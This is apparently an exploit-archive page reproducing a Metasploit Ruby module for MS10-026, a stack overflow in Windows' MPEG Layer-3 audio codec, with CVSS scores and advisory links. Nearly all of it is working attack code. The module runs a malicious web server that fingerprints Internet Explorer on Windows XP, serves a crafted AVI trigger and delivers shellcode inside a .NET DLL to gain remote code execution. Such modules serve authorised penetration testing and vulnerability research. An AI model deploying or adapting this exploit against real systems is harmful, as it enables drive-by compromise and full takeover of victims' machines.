Microsoft MPEG Layer-3 Audio Stack Based Overflow

2011.08.16
Credit: metasploit
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # $Id: ms10_026_avi_nsamplespersec.rb 13555 2011-08-13 02:15:05Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow', 'Description' => %q{ This module exploits a buffer overlow in l3codecx.ax while processing a AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite with 0's so the three least significant bytes of EIP saved on stack are overwritten and shellcode is mapped using the .NET DLL memory technique pioneered by Alexander Sotirov and Mark Dowd. Please note on IE 8 targets, your malicious URL must be a trusted site in order to load the .Net control. }, 'Author' => [ 'Yamata Li', # Vulnerability Discovery 'Shahin Ramezany <shahin[at]abysssec.com', # Vulnerability Analysis and Exploit 'juan vazquez', # Metasploit module 'Jordi Sanchez <jsanchez[at]0x01000000.org>', # Metasploit module - Help ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 13555 $', 'References' => [ ['CVE', '2010-0480'], ['OSVDB', '63749'], ['BID', '39303'], ['MSB', 'MS10-026'], ['URL', 'http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'], ['URL', 'http://www.phreedom.org/research/bypassing-browser-memory-protections/'] ], 'Payload' => { 'Space' => 4000 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', }, 'Targets' => [ # Target 0: Automatic # Tested with: # Windows XP SP3 English IE 6 # Windows XP SP3 English IE 7 # Windows XP SP3 English IE 8: The exploiting site must be a trusted # site to load the .NET control # .NET CLR required [ 'Windows XP SP3 Automatic', { 'Platform' => 'win', 'Ret' => 0x72000000 }, ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 13 2010')) end def exploit # Embed our payload in a .Net binary ibase = target.ret - 0x10000 shellcode = rand_text_alpha(target.ret - ibase - 0x2285) shellcode << payload.encoded #Use our own custom .Net binary, because we require a much bigger file #to land our payload at the right place opts = { :template => 'template_dotnetmem.dll', :text_offset => 0x1285, :text_max => 0x20000, :pack => 'a131072', :uuid_offset => 135816 } @dotnet_payload = Msf::Util::EXE.to_dotnetmem(ibase, shellcode, opts) # Load our AVI file path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0480.avi") f = File.open(path, "rb") @trigger = f.read(f.stat.size) f.close super end def on_request_uri(cli, request) agent = request['User-Agent'] case request['User-Agent'] when /MSIE.*Windows NT 5\.1.*\.NET CLR .*/ when /Windows-Media-Player/ # AVI is requested by WMP else send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - target not supported: #{agent}") return end if (request.uri =~ /\.html/i) avi_name = rand_text_alpha(4) avi_trigger = "" if ("/" == get_resource[-1,1]) avi_trigger = get_resource[0, get_resource.length - 1] else avi_trigger = get_resource end avi_trigger << "/#{avi_name}.avi" html = %Q|<html> <body> <OBJECT ID="MediaPlayer" CLASSID="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95" CODEBASE="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab# Version=5,1,52,701" STANDBY="Loading Microsoft Windows Media Player components..." TYPE="application/x-oleobject" width="280" height="46"> <param name="fileName" value="#{avi_trigger}"> <param name="animationatStart" value="true"> <param name="transparentatStart" value="true"> <param name="autoStart" value="true"> <param name="showControls" value="true"> <param name="Volume" value="-300"> <embed type="application/x-mplayer2" pluginspage="http://www.microsoft.com/Windows/MediaPlayer/" src="#{avi_trigger}" name="MediaPlayer" width=280 height=46 autostart=1 showcontrols=1 volume=-300> </embed> </OBJECT> </body> </html> | html = html.gsub(/^\t\t\t/, '') print_status("Sending trigger loader to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, html) elsif (request.uri =~ /\.avi$/i) print_status "Sending AVI trigger to #{cli.peerhost}:#{cli.peerport} ..." send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' }) return elsif (request.uri =~ /\.dll$/i) print_status "Sending DLL file to #{cli.peerhost}:#{cli.peerport} ..." send_response( cli, @dotnet_payload, { 'Content-Type' => 'application/x-msdownload', 'Connection' => 'close', 'Pragma' => 'no-cache' } ) return end html_name = rand_text_alpha(4) dll_uri = "" html_trigger = "" if ("/" == get_resource[-1,1]) dll_uri = get_resource[0, get_resource.length - 1] html_trigger = get_resource[0, get_resource.length - 1] else dll_uri = get_resource html_trigger = get_resource end dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll" js_net_dll = "<object classid=\"#{dll_uri}\"#GenericControl\"><object>" html_trigger << "/#{html_name}.html" html = %Q|<html> <head> <script language="javascript"> function forward() { window.location = window.location + '#{html_trigger}'; } function start() { setTimeout("forward()", 2000); } </script> </head> <body onload="start()"> <object classid="#{dll_uri}#GenericControl"> <object> </body> </html> | html = html.gsub(/^\t\t/, '') print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, html) end end

References:

http://www.us-cert.gov/cas/techalerts/TA10-103A.html
http://www.microsoft.com/technet/security/Bulletin/MS10-026.mspx
http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:7441
http://oval.mitre.org/repository/data/DownloadDefinition?id=oval:org.mitre.oval:def:7441


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